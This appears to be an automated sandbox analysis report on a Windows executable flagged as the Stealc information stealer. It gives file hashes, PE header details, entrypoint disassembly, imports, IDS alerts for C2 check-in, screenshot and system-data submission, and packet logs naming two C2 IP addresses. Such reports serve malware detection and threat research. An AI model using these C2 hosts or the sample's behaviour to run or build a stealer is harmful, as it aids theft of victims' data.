SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.657087708381722
Encrypted:	false
SSDEEP:	3:mKzGzjNpmWiA3WqUQkotZwg9WseIHN8SZRFpNjLG4JNWMmvn:PzKmWxGvQesWs3NRTZK4JEMmvn
MD5:	F4826E7FAEAA26C8CDF34D9BF25884E8
SHA1:	0B56D3DABCE3D805BD9CCA333155ABC83875E2B4
SHA-256:	18768ABE140AA9BA340E592DEC06624C29BC814BAD44569F68FE1C6CE69CB145
SHA-512:	D8B2632ACA9632C258037F90094EAB1AAD66E271F22783D7FABD0CB2F0A0EE7E7BC2EC8C289747F1FCE5F50BE78DFB9560BCD8BDB27DF1E21F5ACA6C40B9614F
Malicious:	false
Preview:	..Pinging 2.2.2.2 with 32 bytes of data:..Request timed out.....Ping statistics for 2.2.2.2:.. Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.574363557363954
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qlI3ReINCV.exe
File size:	244'736 bytes
MD5:	40163eae38af01040691454b24b06e2f
SHA1:	53eca8666143b17066b0c84d7087c570f6c18d57
SHA256:	65ae23376b2d1179fac3bb74e5d5258f0aa1d06ef0726544c9bddadc58d11b80
SHA512:	008a1755311b2efb1ae843a69dc0b20376b3fc8e989fd6d9e6f49612d7cc6b5b0dc26434a3f508d74b116b2d6c4e383a97a84686b74bd4d5436bfb297a23f86e
SSDEEP:	3072:vmrsDjKoXngR6sJvWN3pEOsJkMRuki7ZDzUWXPj857J08:O4DueZsFX15IN1Dz5PjEtz
TLSH:	AC342A25DF40483FDD52827CD6B9B3D2B22669696312D8D333CC26194DF40E32D7E6AA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L.....5g...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x421dc0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6735C992 [Thu Nov 14 09:57:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	9688495fa0fb07674109d4238c74f5ee

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
call 00007F8C30493507h
call 00007F8C304B7012h
xor ebx, ebx
cmp byte ptr [0042CFF4h], bl
je 00007F8C304B284Fh
lea ecx, dword ptr [ecx+00h]
inc ebx
cmp byte ptr [ebx+0042CFF4h], 00000000h
jne 00007F8C304B2838h
lea eax, dword ptr [ebx+01h]
call 00007F8C30493383h
mov dword ptr [ebp-10h], eax
test eax, eax
je 00007F8C304B284Eh
push 0042CFF4h
push eax
call dword ptr [00639134h]
mov eax, dword ptr [006388D0h]
push 00000000h
push 00000000h
push 00000000h
push eax
call dword ptr [0063905Ch]
mov esi, eax
push 0000000Ah
push esi
call dword ptr [00639000h]
push esi
push 00000000h
mov edi, eax
call dword ptr [006390A0h]
cmp edi, 0000029Ah
jnl 00007F8C304B284Ah
push 00000000h
call dword ptr [0063901Ch]
lea ecx, dword ptr [ebp-58h]
push ecx
call dword ptr [00638FA0h]
cmp dword ptr [ebp-44h], 02h
jnc 00007F8C304B284Ah
push 00000000h
call dword ptr [0063901Ch]
call 00007F8C30491A1Bh
call 00007F8C30491AA6h
call dword ptr [006390E4h]
movzx eax, ax
add eax, FFFFFBE7h
cmp eax, 2Ah
jnbe 00007F8C304B2858h
movzx edx, byte ptr [eax+0042209Ch]
jmp dword ptr [00422094h+edx*4]
push 00000000h
call dword ptr [0063901Ch]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36014	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24a000	0x3ce4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x296fa	0x29800	89bb347c7f217aa0973db64a17ea2d28	False	0.39819630082831325	data	6.3748255157310965	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2b000	0xb574	0xb600	b27bbd755a780795b83ae70eaf7d1871	False	0.5873325892857143	data	6.648346079875038	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x212bec	0xc00	7fe372e3c10f9bbfb24d71b571ef5f21	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x24a000	0x5d24	0x5e00	f8de92fd98cfdf31cd79cdb74cbf99aa	False	0.5297124335106383	data	5.283914021100036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

msvcrt.dll

rand, strncpy, ??_V@YAXPAX@Z, strtok, memchr, strtok_s, ??_U@YAPAXI@Z, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3, _except_handler3

KERNEL32.dll

GetModuleFileNameW, GetStringTypeW, MultiByteToWideChar, LCMapStringW, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, CreateProcessA, lstrcatA, VirtualQueryEx, OpenProcess, ReadProcessMemory, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, GetCurrentProcess, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, ExitProcess, Sleep, WriteFile, GetStdHandle, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, WideCharToMultiByte, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, RaiseException

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T07:48:06.071918+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:06.296973+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:06.436381+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	62.204.41.163	80	192.168.2.4	49730	TCP
2024-11-20T07:48:06.655757+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:06.717904+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	62.204.41.163	80	192.168.2.4	49730	TCP
2024-11-20T07:48:07.478497+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:07.997134+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:19.439470+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:20.484588+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:21.183867+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:21.760056+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:23.466424+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:23.909784+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:25.812249+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:27.338738+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49761	176.113.115.215	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:48:04.897015095 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:04.948256016 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:04.948358059 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:04.948970079 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:04.953834057 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:05.651257992 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:05.651444912 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:05.654480934 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:05.659396887 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.071744919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.071918011 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.073194981 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.078056097 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.296905041 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.296972990 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.297039986 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.297081947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.429975986 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.430226088 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.431529045 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.436381102 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655497074 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655533075 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655575037 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655651093 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655685902 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655721903 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655755997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.655756950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.655756950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.655756950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.655756950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.655756950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.656080961 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.712934971 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:06.717904091 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.753365040 CET	49675	443	192.168.2.4	173.222.162.32
Nov 20, 2024 07:48:06.935753107 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:06.935897112 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.096483946 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.096546888 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.101623058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101655960 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101706028 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101733923 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101761103 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101787090 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101835966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.101862907 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.478418112 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.478497028 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.776240110 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.781466007 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997034073 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997093916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997129917 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997133970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997163057 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997164965 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997189999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997198105 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997208118 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997232914 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997245073 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997276068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997524023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997579098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997591019 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997641087 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997643948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997675896 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997694969 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997709036 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.997723103 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.997760057 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.998378038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.998410940 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.998445034 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:07.998460054 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.998471022 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:07.998477936 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124528885 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124564886 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124617100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124644041 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124651909 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124665976 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124685049 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124706984 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124716997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124733925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124752045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.124762058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.124794960 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.125245094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.125278950 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.125302076 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.125313997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.125330925 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.125364065 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.125376940 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.125397921 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.125405073 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.125447035 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.126246929 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.126296043 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.126301050 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.126331091 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.126336098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.126363993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.126372099 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.126398087 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.126418114 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.126435041 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.127084017 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.127135038 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.127137899 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.127171993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.127181053 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.127226114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.127240896 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.127259970 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.127269030 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.127304077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.128035069 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.128068924 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.128087997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.128103971 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.128113031 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.128151894 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251674891 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251775026 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251837015 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251848936 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251863956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251883984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251897097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251919031 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251928091 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251955032 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.251966000 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.251991034 CET	80	49730	62.204.41.163	192.168.2.4
